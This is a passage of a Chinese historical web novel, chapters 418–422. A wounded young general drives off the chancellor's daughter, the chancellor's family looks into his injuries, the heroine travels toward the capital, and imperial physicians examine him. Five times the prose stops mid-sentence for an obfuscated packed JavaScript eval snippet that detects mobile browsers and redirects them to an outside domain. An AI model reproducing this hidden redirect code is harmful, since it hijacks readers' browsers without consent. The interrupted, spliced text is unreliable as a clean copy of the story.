年轻这两个字,在面对死亡的时候,是最大的底牌,尤其是林序素来身强体健,这也为他争取到了一丝生机。 “先把箭矢取出来,至于接下来会如何,只能看他自己的命数了。”府医无奈的摇摇头,“真的是仗着自己命硬,要不然的话……怕是撑不到现在。” 年轻体质好,才能一口气吊着。 “如果血止住了,是不是就可以有一线生机了?”霍青行眼眶微红,若是他的月儿在的话…… 陈识月的医术极好,这些刁钻的毒,她最是感兴趣,也能第一时间拿出治病的法子,奈何她现在都不知道如何,他都无能救她,实在是该死! “是!”府医很是直白的回答。 霍青行忽然好似想起了什么,“药呢?” “已经熬好了。”管家忙回答,让人把汤药递上。 霍青行毫不犹豫的拿起了短刃,惊得管家疾呼,“少将军?” 血,快速落入汤药之中。 连一旁的府医都看得一愣一愣的,“这是作甚?公子的伤,不需要人血入药啊!” 他这边刚说完,霍青行已经将自己的血,滴在了林序的伤处。 箭矢已经拔出,如今剩下一个清晰的凌乱的凹坑伤口,血合着金疮药一道糊在上面,然后以药包覆裹,只盼着能止血……只要血能止住,林序就不会**! 屋子里没多少人,只有府医和老管家,将军府的口风素来是严谨的,有些话当然不会外传,所以这件事不会被人知晓。 老管家赶紧拿着纱布,哆哆嗦嗦的为霍青行止血,“少将军自己都伤势严重,这么多的血……这要是有个好歹,我怎么跟老主子交代?” 说到这里,老管家眼眶发红,差点落下泪来。 何况,还丢了个少夫人…… 这可如何是好? “我没事。”霍青行虚弱,身上内伤外伤,大伤小伤不对,这血一放,人便歪歪扭扭的倒了下去。 霎那间,连府医都惊呼出声。 “少将军?” “少将军!” 要命了,真的要命了! 将军府内,乱作一团。 霍青行昏迷不醒,林序亦然。 带回来的那些护卫,哪个不是伤势严重?哪个不是强撑着一口气,如今进了将军府,都先后脚的昏睡过去,一个个的不省人事。 如今所有人都昏迷着,身边都离不开人,还有更重要的便是守住这将军府,以免被某些人钻了空子,坏了少将军的事。 “管家,那位又来了,还是那个理由……说是要探病呢?”门房急急忙忙的跑来。 老管家脸色难看到了极点,“拦着,拦着听不懂吗?随便找个由头……” “可由头都找遍了,那位就是不听啊!每次都拦着,时间久了,她觉得咱是在欺主,搞不好还以为咱害了少将军呢?”门房也是急得直挠头。 杨**已经闯了进来,身边还特意带了两个护院,瞧着是气冲冲的,像是将军府谋害主子,霍青行等着沉冤昭雪。 “你们这帮狗奴才,主子生病便也罢了,请大夫请太医都使得,为何藏着掖着,不许让人探视?莫不是你们做了什么见不得人的恶事,所以……”杨**咬着牙,一副要**的姿态。 她为什么如此大胆? 因为外头还有人接应,霍青行因为伤病,已经很久很久没有出现在人前了,而且将军府大门紧闭,关门谢客,谁来也不见,这里面有什么名堂……人人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318408|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想知道。 杨**此举,也是很多人想看到的,不过由一个姑娘家出手,委实有点说不过去,可谁让她背后有靠山呢? 丞相府的门槛,不是谁都可以迈得过去的。 “杨姑娘,您不能仗着自己的身份便信口开河,我们这些老奴跟着老将军多年,岂敢有二心?”老管家声音哽咽,“杨姑娘可要为自己说过的话负责!” 杨**可不管这些,兄长可是交代过,除非见到人,否则不要松口。 事实上,她也想见到霍青行。 “本姑娘当然会为自己的话负责。”杨**沉着脸,“我要见少将军。” 老管家迟疑着,“少将军尚在病中,如何能起来相迎?何况杨姑娘上门,既无拜帖,也无邀约,这横冲直撞的,不知道的还以为您是来抄家的。丞相府如此规矩,真是让人刮目相看!” 不忍直视! 这是骂她没家教呢? 呵! “你一个狗奴才怎么敢这么对我说话?”杨**愤然。 老管家行礼,“姑娘敢做,还怕人说吗?您一个女子,带人直闯将军府,是丞相大人欺辱老将军不在金都,欺辱我家少将军尚在病中?此事若是传出去,不管是将军府还是丞相府,怕是都无法面对外头的悠悠众口吧?” “悠悠众口?你知道现在外面都怎么传的吗?”杨**理直气壮,“你们这群刁奴,背主害主,为非作歹。” 老管家皱起眉头,原本就心疼少将军他们受重伤,如今更是气得发抖,要不是保存一丝理智,真的想徒手干翻这些晦气玩意。 真以为将军府是谁都可以进来的?要不是怕耽误少将军的前程,就这两个宵小之辈,他这个老家伙是不会放过他们的。 “今日,我非要见到少将军不可!”杨**带着人就想往里面冲。 忽然间,大批的护卫快速围拢上来,齐刷刷的拦住了杨**的去路,一个个目光冷戾,直勾勾的盯着这位不速之客。 “怎么,还想遮遮掩掩呢?”杨**眯起危险的眸子,“你们不会真的害了他吧?若是如此,我丞相府必定不会放过你们,你们一个都别想跑!给我找。” 老管家气急,“我看谁敢!” 第四百一十八章 若能得偿所愿,中意他 “你看我敢不敢?”杨**是真的敢。 但是…… 这是将军府。 “放肆!”一声低喝,伴随着熟悉的身影出现在回廊前,霍青行面色苍白的站在那里,即便是虚弱至极,也不妨碍他眸光锐利。 杨**下意识的往后退了一步,竟是真的不敢轻易上前。 “丞相府的人,在我将军府里耀武扬威,要打要杀,要搜府?”霍青行走得有些缓慢,看得出来的确有伤在身,但一点都不影响他周身散出的威严戾气,“杨姑娘好大的口气!” 杨**瞬时蔫了,就像是霜打的茄子一般,“我……我不是这个意思,我只是……只是担心少将军,你这一病便是这么久,始终见不着人,外头流言蜚语……甚嚣尘上,我怕少将军真的糟了老奴才的毒害。” “毒害?”霍青行仿佛听到了极为可笑的两个字。 事实上,他也是真的笑出来了。 “你哪只眼睛看到,我将军府的奴才毒害我?”霍青行字字冷戾,步步逼近,“空口无凭,信口胡诌,丞相府便是如此教养女儿?擅闯别人的府邸,视天底下的规矩都如同无物?” 霍青行一番话,说得杨**面色煞白。 “我、我是担心你……” “你凭何担心我?”霍青行可是一点面子都不留,“以什么身份担心我?我与杨姑娘萍水相逢,毫无牵连,还没到担心的熟稔地步。杨姑娘,人要脸树要皮,纵然你是女子,我不该说重话,但你行事乖张放肆,舞到了我将军府,我自然不会与你客气!” 杨**白了一张脸,站在那里好似摇摇欲坠,就这么目不转睛的看着霍青行,杏眸含泪,瞧着那样楚楚可怜。 少女落泪,若是换做旁人,定要生出三分怜惜,奈何眼前人是霍青行。 除了他的月儿,谁都不在他的怜惜范围内。 “杨姑娘要哭,就回你的丞相府去哭,我将军府里无白事,不需要你添泪。”霍青行负手而立,“请吧!以后,无事莫登门。管家,送客!” 管家可算是出了一口气,上前做了个请的手势,“杨姑娘,少将军完好无损的站在这里,您也都看到了,将军府不欢迎您,请吧!” 杨**张了张嘴,可到了嘴边话全都卡住了,愣是说不出半个字。 下一刻,她忽然捂住脸,呜咽着跑出去。 丢人吗? 丢的。 丞相府养出来的姑娘,骄纵恣意无人敢管,可到了将军府,却被霍青行毫不留情的训斥一番,一句“行事乖张放肆”就好像是一巴掌,狠狠的扇在她脸上。 眼见着杨**跑出来,杨明放眉心微拧,倒是没有凑上去,毕竟这个时候凑上去,不是自己打自己的脸吗? 这种丢脸的事情,丢一个就够了…… 人一走,霍青行险些撑不住。 “少将军!” “少将军!” 还好老管家眼疾手快,当即搀住了霍青行,一颗心这才稍稍回落,“快,先回房。” 那要命的妮子,真是该死啊! 若是少将军有什么事,老管家觉得……他能掀了杨**的天灵盖。 还好,霍青行没什么事,只是身子太过虚弱,伤势太重罢了,方才他硬撑着走出去,算是耗尽了全身气力,所以这会又陷入了昏迷之中。 然而,昏迷之中一直在喊着月儿、月儿的,让老管家涕泪纵横。 人没跟着一起回来,老管家就清楚这里面要坏事。 少将军与月大夫肯定有自己的考量,若不是情非得已,遇见了难处,他们二人绝对不会分开的,连林序都回来了,月大夫却没回来,只怕事情不小。 老管家不敢多问,如今少将军自己都成了这样,他哪儿敢给少将军添堵? “小院那边多留意。”老管家低声交代,“若是冬梅、迎春她们回来了,或者是姑娘回来了,一定要及时告知。” 底下人点点头,赶紧退了出去。 马上去盯着点,一定要及时汇报…… 可惜到了夜里,也没见着迎春和冬梅回来,更没见着陈识月的身影,唯有杜忠和杜决还一直候着,始终没等到她们回来。 将军府的人都回来了,小院的人却一去不回,怎不叫人忧心呢? 没回来,一个都没回来! 不过,丞相府门前这么一闹腾,闹得人尽皆知。 杨**被罚跪在祠堂里,一张小脸煞白,垮得不成样子,却也只能老老实实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324675|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪在那里,噘着嘴表示极度的委屈。 “小妹不必觉得委屈,这笔账,兄长会替你讨回来的。”杨明放站在后面,“慧儿,这件事父亲也是知道轻重的,所以没什么大碍,我到时候会找祖父和父亲好好说的。” 杨**满脸的不甘心,“兄长,你觉得这里面有没有猫腻?” “你想说什么?”杨明放问。 杨**摇摇头,“我没想说什么,就是觉得有些奇怪,但又说不上来。” “那你今天的确是见到他了?”杨明放蹲下来,凝视着她的眼睛问。 杨**不高兴了,“兄长是怀疑我在说谎吗?那的确是霍少将军,瞧着身子有些虚弱,脸色很白,但说话的时候那股子冷意……应该错不了。” “冷意?”杨明放皱眉,“你是说……” 杨**深吸一口气,“他是真的不待见我。” “有时候呢,一个人说了不算。”杨明放意味深长的开口,“主要是看你喜不喜欢?我们杨家还没有吃亏的道理,霍家是战功赫赫不假,可霍家的人都不在金都,就一个霍少将军能掀起什么风浪来?” 杨明放一番话,让杨**面色稍改,“可是……” “不用可是,咱杨家又不是那种会让人欺负的,他霍家要跟咱杨家结亲,也得看咱答不答应,何况这一次是妹妹你看中的。”杨明放意味深长的笑了笑。 杨**抿唇,面颊略显绯红. 见此情形,杨明放兀自笑了笑,“果然是女大不中留,留来留去留成仇。” “兄长莫要说胡话。”杨**别开头不去理他。 杨明放无奈的笑着,“好好好,不取笑你了,那我先回去,你也不必一直跪着,反正没人盯着,到时候歇一会,别跪坏了膝盖。” “知道了。”杨**点点头。 杨明放抬步就往外走。 出了祠堂,他便去了祖父的书房。 父亲并不在家,所以有些事还是跟祖父商议为好。 推开书房的门,杨明放快速上前行礼,“祖父。” “慧儿如何?”杨文权叹口气,“小丫头怕是委屈坏了吧?” 杨明放笑道,“若是能得偿所愿,委屈一时又如何?” 第四百一十九章 有人打探,将军府的消息 听得这话,杨文权眉心微微拧起,倒是没有多说什么,只是兀自思忖着,大概是在盘算要如何能利益最大化。 “祖父?”杨明放开口,“您是想让慧儿和将军府……联姻?” 杨文权回过神来,慢悠悠的落座,示意他也坐下来说。 见状,杨明放坐定。 “联姻不联姻的还两说,只是慧儿那性子,怕是进不了将军府。”杨文权一副好长辈的模样,听起来倒是全然为利益,“你不是说,她是被赶出来的吗?” 杨明放一顿,无奈的叹口气。 “慧儿是什么性子,你还不清楚?”杨文权摇摇头,“家里就你们两个小辈,从上往下全都惯着,自小便是锦衣玉食,要什么有什么,她何曾吃过亏受过罪?满金都的贵女之中,她的身份可想而知。纵然那是嫁入皇家,也是足够!” 杨明放当然也是这么认为的,杨家的女儿身份尊贵,嫁入皇家又如何? 但是,帝王猜忌,杨家权势太甚,若是嫁入皇家,免不得要惹出祸来,所以即便是给杨**择婿,也不能选权势太盛的官家之子。 若是霍家的话…… 霍老将军那臭脾气,人尽皆知,连帝王都有些怵他,且这老家伙常年累月待在边关,一身的肃杀之气,谁都不敢轻易的对上霍家。 当年国公府一案,那么大的事儿都没能牵扯上霍家,可想而知,帝王对霍家的信重,还有……无奈! 国公府一案牵扯太多,多少武将牵扯其中,死的死,隐没的隐没,朝堂上能用的武将已经屈指可数,若是再处置霍家,那朝廷将无可用之将才,到时候蛮夷进犯,何人守国门? 霍家,动不得。 当然,还有一个缘故。 霍家不参与朝廷的党派之争,不参与皇位之争。 他们只是帝王手里的利刃,只负责征战沙场,戍守边关,如此一来,帝王用着放心,就算偶尔冒犯,也无伤大雅,反正霍家只忠帝王。 “祖父。”杨明放开口,“霍青行一直在养伤,想来这伤势不轻啊?” 杨文权冷笑,“不过是厌烦朝堂之争,找个由头躲避罢了。霍家是武将,不善口舌之争,让他们舞刀弄剑可以,唇枪舌剑……大可不必。” “有道理。”杨明放点点头,“不过慧儿说,瞧着的确像是病得不轻?伤应该是真的,但为何养了小半月了都不见成效?” 杨文权眉心微蹙,若有所思的盯着杨明放。 “祖父为何这样看着我?”杨明放不解,“我说的句句属实,绝无撒谎。” 杨文权摇摇头,“我没怀疑你,只是觉得这里面有些奇怪,霍青行长年累月在边关,年轻力壮的,怎么会受了点伤,这么久都没有痊愈?” 这么一提醒,杨明放也有些狐疑了,“按理说不至于。” 若是一直久伤不愈,那就说明……要么有人在暗地里下毒手,要么霍青行装得够好?还有一种可能,就是霍青行悄摸着又干了什么,所以才会伤上加伤,这才有了如今的结果。 但,到底是哪一种可能呢? “你去查一下,看看将军府最近是不是有什么动静?比如说,是否出了门?又或者是找一找,哪个大夫给瞧的病?”杨文权低声交代,“行事小心,莫要惊动他们。” 杨明放会意的点点头,“孙儿明白!” “这里面如果真的有问题,那问题就不小。毒杀霍家的少将军,又或者是霍青行满金都的跑,是在调查什么?不管是哪一种可能,都不能节外生枝,万一给咱添堵,可就不是什么小事了。”杨文权深吸一口气,“太师府那边可都盯着咱呢!” 杨明放行礼,“祖父放心,孙儿知道轻重。” “祖父很庆幸,你不像你父亲这般固守陈规。明放,朝堂之事非肉眼可见的平静,暗潮涌动不可不防,出门在外应分外当心。” 杨文权仔细叮嘱。 杨家人丁单薄,如今剩下的就这么一双小辈。 纵然杨文权位高权重,对子嗣之事也是无可奈何,这事情得看天意。 “是!”杨明放行礼,快速退出了书房。 接下来的事儿,还多着呢! 不得不说,杨文权重视这个孙子也是有原因的,乖顺听人劝,自己又有脑子,外人瞧着有点无脑跋扈,实则有点心思。 外人所见皆为虚,藏锋才是关键。 将军府的口风素来是最严的,想从这里面掏出点东西,还真是不容易,不过将军府请大夫的事儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333969|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是不难打听的。 回春堂这边一打听,就可查到一些端倪。 来人打听的时候,消息很快就传到了白清舟的耳朵里。 “该怎么说,都清楚吧?” 白清舟低声开口。 掌柜点点头,“公子放心,咱知道轻重。” “去吧!”白清舟转身,快速进了房间。 父亲和李严正在说着什么,见着人进来,不由得对视一眼,“脸色不太好,是出了什么事情吗?” “有人来打探,将军府的事情。”白清舟意味深长的开口。 他们都知道,霍青行之前是去做什么了?就昨天夜里还去了将军府一趟,那么多人那么多伤,白老爷与府医一起忙活了一晚上。 少将军回来了,但是身负重伤,这是屋子里三人都知道的事情。 “打探消息?”白重皱起眉头,“是什么人?想做什么呢?” 李严沉思片刻,“丞相府?太师府?” 都不是好东西。 两人对视一眼,终是将目光落在白清舟的身上。 “你觉得呢?”白重问。 白清舟想了想,“昨儿个杨家那位姑娘大闹将军府,非要见少将军,不少人都瞧见了。” 这话一出,李严拍板,“丞相府!” 没错,肯定是丞相府。 三人一合计,肯定是丞相府来打探少将军的伤势,只是他们为什么要打探这些呢? “是怀疑少将军这伤有问题?”李严蹙眉。 白清舟点点头,“怀疑少将军还藏着掖着,想要办什么事吧?一个姑娘家勇闯将军府,这怎么都说不过去,可偏偏丞相府的姑娘,却做了这样的事情,这里面不该有点问题吗?” “女子的矜持荡然无存,丞相府也没有做出别的反应,这不会是想联姻吧?”白重狐疑的望着二人,“要是这样,月大夫怎么办?” 白清舟:“……” 老父亲看问题,果然看得长远。 “他们是怕……少将军来调查当**儿吧?”李严低声呢喃。 白重面色微沉,“你还真别说,的确有这种可能。” “绝不能让他们知道,少将军的伤势。”李严说。 第四百二十章 哟,变礼貌了? 三个人对视一眼,都默认了这个结果。 对方打探少将军的病势,十有**是想看少将军是不是在装病? “这事儿得及时通知少将军。”李严起身,“我去一趟将军府。” 白重摁住他,“我还得去将军府给少将军看伤,还是到时候我来说吧,你如今更要小心,切莫大意。既然盯上了将军府,怕是以后还有得闹呢!咱不能让他们抓住把柄。” 说句不好听的,若是连将军府都被扳倒了,那他们以后该如何给裴家伸冤呢? 三人面面相觑,心里都明白事关重大,既然都到了这个地步,自然你是要小心谨慎的,行差踏错,搭上的就是自己的九族性命。 夜里的时候,白重去了一趟将军府。 霍青行这会还没苏醒,伤势太重又硬撑着赶走了杨**,他这副身子骨早就到了极限,好在脉象还算平稳,只能说是太过虚弱,得好好的静养,要不然本就大伤小伤不断,如此折腾下去……再年轻也经不起。 “白大夫,如何?”管家忙问。 白重示意他放心,“没什么大碍,就是太虚弱了,内伤外伤凑一起,好在年轻,很快就能醒来。” 说到这里,白重环顾四周。 管家自然是个机灵的,当即让边上伺候的人都下去。 “你们都下去吧!” 伺候的奴才赶紧退下,无一人停留。 “怎么回事?”管家忙问,“是我家少将军……” 白重急忙摇头,看了一眼床榻上双目紧闭的霍青行,拽着管家去了一旁,“有人在打听将军府的事情,尤其是少将军的伤势。” “什么?”管家眸光陡沉,“谁?” 白重也说不清楚是谁,毕竟对方又不会自报家门,“不清楚,但打探少将军的事,总不是什么好事,所以我得来提醒一声。” “我明白了,多谢白大夫,还望您……”管家意味深长的开口。 白重忙点头,“我懂的,什么都不会说。霍老将军驻守边关,若是没有霍家,何来我等安生日子,更何况本就是一家人,就不说两家话了。对了,我家那……月姑娘呢?” 这话一出,管家便心头咯噔一声。 “月儿呢?”白重又问,“我家这姑娘素来是个懂事的,她外祖父和舅舅把人托付给我,我岂能不管?不是先后脚出去的吗?怎么没瞧见她回来?是有什么事路上耽搁了吗?” 管家答不上来,只是垂着眼帘不说话,这要如何说? “怎么了?”白重心里涌现不祥的预感,“她自己就是个大夫,要是什么小毛病,小外伤的,她自己就会治。要是缺药,我回春堂多得是,让她回家取。” 管家压低了声音,“月姑娘没回来。” 白重差点眼前一黑,“什么叫没回来?是耽搁了,还在路上,还是、还是出事了?” 说到这,白重紧张的抓住管家的胳膊。 “哎呦喂,你要急死我呀?我把一个大姑娘交到少将军手里,怎么就没了呢?人呢?活着还是**?这让我如何跟她外祖家交代?你们、你们不能三言两语就把我打发了呀!” 白重不依不饶,人丢了? 不行不行! 绝对不行。 “你莫急,事情没有想的那么坏,而是……”管家望着还在昏睡中的霍青行,“要等少将军他们醒来之后,才能知道月姑娘到底出了什么事?现在一个两个都成了这般模样,我这也是……没地方打听啊!” 白重退后一步,面色惨白如纸。 丢了? “丢山上了?”白重低声呢喃,“丢山上了!你们这群天杀的,怎么能把小姑娘一个人丢山上呢?你们……你们……你们……” 说到最后,白重呜咽一声。 这要怎么跟自己的老朋友交代? 把人家外孙女弄丢了…… “你们这群废物!”临了临了,白重狠狠一跺脚,冲着管家啐了一口,便拎着药箱火急火燎的往外冲,这件事绝对不能就这么算了。 管家张了张嘴,想喊住他,却又不知道该说什么? 人的确没回来,这件事委实不好交代。 罢了罢了,先等着少将军他们醒来再说,毕竟这些人能回来,都已经是拼尽全力,还有冬梅和迎春都不见下落呢? 眼下这局面是越来越乱了,谁也不知道接下来还会发生何事? 霍青行一直昏睡着,梦中隐约看到了人影,他喊了两声,却无人应答,迷雾之中,看不清楚容脸,但他隐约觉得那就是月儿。 月儿跑得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339734|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,他怎么追都追不上,一直与她保持着一定的距离…… 可是,怎么办呢? 怎么办呢? 他的月儿! 月儿! 一声惊呼,陈识月从睡梦中惊醒,四下一片漆黑,这才惊觉自己竟然还在牛车上。 车夫停在路边烤火,见着人醒来,赶紧上前两步,“姑娘醒了?” “我这是……睡着了?”陈识月揉着眉心坐起来,身上盖着一件外套。 是长雾的。 长雾坐在火堆边,上面挂着两只野鸡,这会香味已经溢出来了,“醒得刚刚好,正巧能吃了,赶紧清醒清醒,过来吃两口再说。” “今晚有口福了!”老伯笑盈盈的搀着陈识月下车,“我这老牛腿脚慢,今夜怕是到不了城门口,咱得慢悠悠的来,你们……不着急吧?” 陈识月摇摇头,“这有什么可着急的呢?” 反正城门口就在那里,早去晚去,它也不会跑。 长雾给她撕了个鸡腿,“吃吧!” 这地方还算是平阔,今夜月明星稀,应该不会下雨。 吃点东西,喝点水。 陈识月用稻草钻了个窝,就钻进去继续睡。 长雾看得一愣一愣的,“你就这样啊?” “不然呢?”陈识月白了他一眼,“你我都是贫苦出身,怎么脑子一受伤,你便是连人都不会做了?咱以前不经常这样吗?” 长雾皱了皱眉,“是、是这样吗?” “不然呢?你以为我没苦硬吃?”陈识月轻嗤,“我可没那闲工夫,陪你吃苦。这苦头,谁爱吃谁吃去,反正我吃够了!你这拖油瓶要是再不懂事,我就送你下去见你娘。” 长雾长叹一声,“知道了,小姨。” 老伯愣了愣,“辈分这么大?” “没办法,家里长辈不安生。”陈识月无奈的笑笑。 老伯恍然大悟,“多子多孙多福气,这么一个大外甥也是极好,我原还以为你们是……” “臭小子,赶紧睡。”陈识月窝在稻草堆里。 长雾坐在树下。 老伯抱了一摞稻草,“垫着防潮,还软乎。” “多谢!”长雾接过。 陈识月:哟,倒是变得礼貌了? 第四百二十一章 帝王疑心 不过,对于长雾的转变,陈识月并没有太在意,人总有慢慢想通的时候,何况只要不涉及男女之情,很多事情都会变得简单。 便是长雾自己想想,也是能想明白的,一个大姑娘不图你钱,不图你身子,只想给你当长辈?这说得过去吗? 说不过去! 那只有一种可能。 陈识月说的是真的,尤其是她眼睛里明晃晃的嫌弃,那绝对不是所谓的男女之情,也没有利用与谋算,倒像是恨铁不成钢的鄙夷,还有三个字:蠢**! 长雾沉沉睡去,不再多想。 虽然失去了记忆,可好歹还有个小姨在身边,倒也不算什么坏事,这位小长辈嘴上不饶人,终究也是护着他,照顾他的。 如此,也好! 翌日晨起,牛车继续前行,毕竟是附近的居民,老伯抄近路倒也快了不少,穿过这边的林子比走主路要快上很多,只不过不适合夜里前行,容易翻车容易出事。 如今天亮了,自然可以麻溜的往前走…… 磕磕绊绊,摇摇晃晃。 陈识月觉得自己脑浆都快被摇匀了,但好在阳光明媚,整个人的心情也会跟着好起来,蓝天白云,就跟出来游玩似的,自然是要好心情。 “小姨?”比起昨晚,今日的长雾一口一个小姨,喊得倒是真情实意得多。 陈识月转头看他,这小子以后肯定会被女人骗得死死的,不过昨晚他应该也是想明白了,想了这么久才低头,果真是个脑子不聪明的。 “作甚?”陈识月懒洋洋的回他。 长雾犹豫了一下,“我们进城做什么?投奔亲戚啊?” “把你卖给人牙子……换银子。”陈识月平静的回答,“这个答案满意吗?” 长雾嘀咕,“我又不是三岁的孩子,净拿话糊弄我。” “你没看出来,我不想回答你吗?”陈识月扯了扯唇角,“用你那个笨脑子想清楚再说话,如今你我这般模样,谁家见着不得把我们往外赶?进城就进城,进去了才知道城里有什么活路,一天天的光给人添堵,废话那么多。” 长雾不说话了,老伯笑道,“长辈不会害你的。” 牛车快速朝前,颠簸摇晃,不过远远的可以瞧见城门了…… 真好,快到目的地了。 陈识月小心翼翼的回头看了一眼,怕就怕那些人会追来,只要混入人群之中,看谁还能奈她如何?进城之后,就安全了。 只不过,城内也不太平。 关于将军府和丞相府的事情,惹来了不少非议,惊动了宫里的贵人,饶是帝王也不免心中疑虑,特意派了亲随去了将军府。 好在晨起之时,霍青行便醒了,虽然身子虚弱,但神志逐渐恢复清明。 管家如实汇报,霍青行当机立断。 最是无情帝王家,伴君如伴虎。 父亲耳提面命,不要对皇帝抱有任何的期待,所以霍青行便预料到,宫里一定会来人查看,府内便做了应对,将受伤的那几个全部藏了起来。 找个人佯装林序,用不上最好,用得上的时候得及时出场,以免惹来帝王猜忌。 王海带着太医院的人,进了将军府的大门。 “王公公!”管家赶紧带着人恭迎,“皇恩浩荡,老主子若是知晓,定要遥遥叩谢皇恩。” 王海捻着拂尘笑道,“霍老将军驻守边关,抵御外敌,功不可没,如今少将军归来,皇上圣心欣慰,这可是霍老将军的独苗啊!若是有什么闪失,皇上如何跟老将军交代?这不,听闻少将军伤势严重,这么久了一直未能养好,心中忧虑,便着太医院太医前来诊治。” “谢皇上隆恩。”管家磕头,其后起身,“王公公,诸位太医,这边请!” 怕一个太医说不准,就请了那么多个太医过来查看,不知道的以为皇帝真的担忧霍青行的伤,了解帝王心思的,都明白帝王的疑虑。 管家看了一眼,有三位太医,还真是排场够大,平日给皇帝皇后请平安脉都用不了这么多人,如今为了解决皇帝的疑心病,倒是齐刷刷跑到将军府来了。 也不知道那些言官会不会参一本? 好在,这太医是皇帝指派,不是将军府求来的。 管家领着王海进了内院,王海瞧了瞧将军府,不由得心中感慨,霍老将军战功赫赫,然而府中没个主事的主母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346360|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以至于这庭院比寻常人家的府邸好不了多少,虽然大,但空旷,一切物什都略显陈旧。 没有精致的亭台楼阁,没有华贵的雕栏玉砌,有的是简简单单,相比之下真的可以用朴实无华来形容了,的确与霍家的功勋不匹配。 太医鱼贯而入。 霍青行躺在床榻上,睁眼的时候气息奄奄,瞧着屋子里多了这么多的人,不由得低咳两声,勉强撑起身子,“这是……” “哎呦少将军。”王海赶紧上前,“您别起来,赶紧躺着歇着。老奴奉皇上之命,带了太医,前来为少将军诊治。皇上听说少将军久病不愈,生怕您是旧疾复发,心中忧虑,这不……您躺着别动,让诸位太医好好为您瞧一瞧。” 霍青行深吸一口气,“皇恩浩荡,臣无以为报,吾皇万岁。” “诸位太医,请!”王海做了个手势。 众人你看看我,我看看你,旋即上前行礼,“少将军!” 霍青行没有抗拒,乖乖的伸出手,“有劳诸位。” 太医挨个去给霍青行诊脉,其后查看他腿上的伤,又退到了一旁各自嘀咕着,大概是在商议着,要如何开方子,如何诊治? 王海不会看病,但是能看脸色,瞧着太医的脸色都不太好,心中隐约明白,这里面有点棘手,伤是真的,旧疾复发也有可能! 果然,王海担忧的凑过去,“诸位太医,这是怎么了?少将军不就是摔伤吗?这为何久伤不愈啊?” “王公公,少将军不是久伤不愈,而是沉疴难愈,别瞧着少将军年轻,实则旧伤无数,此番摔了腿是诱因,真正的原因是旧疾难愈。”太医低声解释,“我等方才都为少将军把脉,这年纪轻轻的,脉象如同老翁,唉……” 另一位太医接着道,“一定要好好静养,好好用药,寻常大夫所开的汤药治标不治本,这才治了这么久都没有成效,反而拖坏了身子。” “那这……”王海心惊,“诸位太医赶紧给治一治吧,皇上那边可等着回复呢!不管用什么药,只管下便是,皇上早就交代过奴才,无论如何都要治好少将军。” 三位太医齐刷刷点头,“王公公放心便是!” 第四百二十二章 我们现在是贼 待诊治完毕,太医留下了药,便随着王海离开而回去跟皇帝复命。 直到把人都送走了,管家面上的笑容才堪堪落下,止不住面色一沉,转头就往回走,“这帮天杀的,上阵杀敌的时候一个两个尿裤子,死活不敢上去,天下太平了,尽不干人事。” 一个个,都是人模狗样的怂货! 好事没他们,坏事都是他们干的。 “少将军,人送走了,这次总该没事了吧?”管家脸色不太好,“皇帝若是还疑心不改,咱可就没招了!” 都已经三个太医来会诊了,还不够打消疑心,那就真的要仵作来才成。 “放心吧,就只是疑心而已,这么一闹腾,皇帝也不会再计较。”霍青行虚弱的撑起身子,“他还有用得着我爹的地方,还得让我霍家心甘情愿的守着边关太平。” 